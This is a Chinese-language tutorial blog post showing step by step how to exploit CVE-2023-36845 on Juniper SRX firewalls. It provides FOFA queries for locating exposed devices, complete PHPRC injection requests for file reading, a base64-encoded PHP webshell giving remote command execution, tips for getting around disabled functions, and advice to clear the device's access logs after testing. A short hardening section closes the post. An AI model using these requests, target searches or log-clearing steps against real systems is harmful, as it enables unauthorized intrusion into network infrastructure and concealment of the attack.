手把手教你复现Juniper SRX的CVE-2023-36845漏洞(附EXP与FOFA语法)
从零实战Juniper SRX设备CVE-2023-36845漏洞深度解析与安全验证当你第一次听说Juniper SRX系列设备存在任意文件读取漏洞时是否和我一样既兴奋又忐忑兴奋的是这可能是进入网络安全实战的一个绝佳案例忐忑的是面对复杂的设备环境和晦涩的技术文档不知从何下手。本文将带你以渗透测试新手的视角用最接地气的方式完成整个漏洞复现过程。1. 漏洞背景与环境准备Juniper Networks作为企业级网络设备的主要供应商其SRX系列安全设备广泛应用于各大组织的网络边界防护。2023年曝光的CVE-2023-36845漏洞影响特定版本的Web管理界面允许攻击者通过精心构造的HTTP请求实现任意文件读取进而可能升级为远程代码执行。验证环境准备清单测试用Juniper SRX设备版本确认受影响或合法授权的测试目标Kali Linux或其它渗透测试发行版Burp Suite或Postman用于HTTP请求构造基础的Linux命令行操作能力重要提示所有测试必须在自己拥有合法权限的设备上进行或在获得明确授权的情况下开展。未经授权的测试可能违反法律法规。2. 目标识别与信息收集在正式开始漏洞验证前我们需要先确认目标设备是否运行了存在漏洞的软件版本。最直接的方式是通过Web界面的特征进行识别。FOFA搜索引擎查询语法titleJuniper Web Device Manager这个查询会返回互联网上所有公开暴露的Juniper Web管理界面。在实际操作中我建议添加更多过滤条件以缩小范围titleJuniper Web Device Manager countryCN after2023-01-01目标验证步骤访问目标设备的Web管理界面通常为https://目标IP查看页面底部或登录页面的版本信息确认是否在受影响版本范围内3. 漏洞原理与利用分析CVE-2023-36845的核心问题出在PHP环境配置的不当处理上。攻击者可以通过特殊的PHPRC参数注入控制PHP的运行时配置从而实现任意文件包含。漏洞利用关键点通过PHPRC/dev/fd/0参数指定配置文件从标准输入读取在POST数据中注入PHP配置指令利用auto_prepend_file实现文件包含基础利用请求结构POST /?PHPRC/dev/fd/0 HTTP/1.1 Host: 目标IP User-Agent: Mozilla/5.0 Accept: */* Connection: close Content-Length: 33 auto_prepend_file/etc/passwd这个请求会尝试读取目标系统的/etc/passwd文件内容。在实际测试中我发现响应时间会明显变长约5-10秒这是判断漏洞是否存在的一个重要指标。4. 从文件读取到远程代码执行单纯的任意文件读取已经足够危险但我们可以进一步利用这个漏洞实现远程命令执行。这需要将攻击分为两个阶段4.1 准备阶段启用危险PHP配置首先需要修改PHP配置允许通过data://协议包含外部数据POST /?PHPRC/dev/fd/0 HTTP/1.1 Host: 目标IP User-Agent: Mozilla/5.0 Accept: */* Connection: close Content-Length: 92 allow_url_include1 auto_prepend_filedata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4这个请求做了两件事设置allow_url_include1允许远程文件包含通过base64编码注入一个简单的PHP webshell4.2 执行阶段发送命令并获取结果配置成功后可以通过简单的GET请求执行系统命令GET /?cmdid HTTP/1.1 Host: 目标IP User-Agent: Mozilla/5.0 Accept: */* Connection: close这个请求会执行id命令并返回结果。在实际测试中我发现命令输出有时会被截断这时可以通过输出重定向到临时文件再读取的方式解决。5. 实战中的常见问题与解决方案在多次复现这个漏洞的过程中我遇到了不少坑这里分享几个典型问题和解决方法编码问题命令中包含特殊字符时需要先进行URL编码多行命令可以通过;连接或使用base64编码后解码执行执行限制某些系统函数可能被禁用可尝试替代方案system()不可用时尝试shell_exec()直接执行失败可尝试写入webshell文件网络环境目标设备可能位于防火墙后需要调整超时时间内网环境可能需要设置代理日志清理Juniper设备会记录详细的访问日志测试完成后应清理相关日志条目6. 防御建议与安全加固作为安全研究人员我们不仅要会攻击更要懂得如何防御。针对这个漏洞我总结了以下几点防护措施紧急缓解方案立即升级到Juniper官方发布的最新固件版本限制Web管理界面的访问来源IP在防火墙规则中添加针对异常PHPRC参数的过滤长期安全加固定期更新网络设备固件启用多因素认证关闭不必要的Web管理功能实施严格的网络访问控制策略在最近一次企业安全评估中我发现即使打了补丁很多管理员仍使用弱密码或默认凭证这给了攻击者可乘之机。安全是一个持续的过程不能仅依赖补丁修复。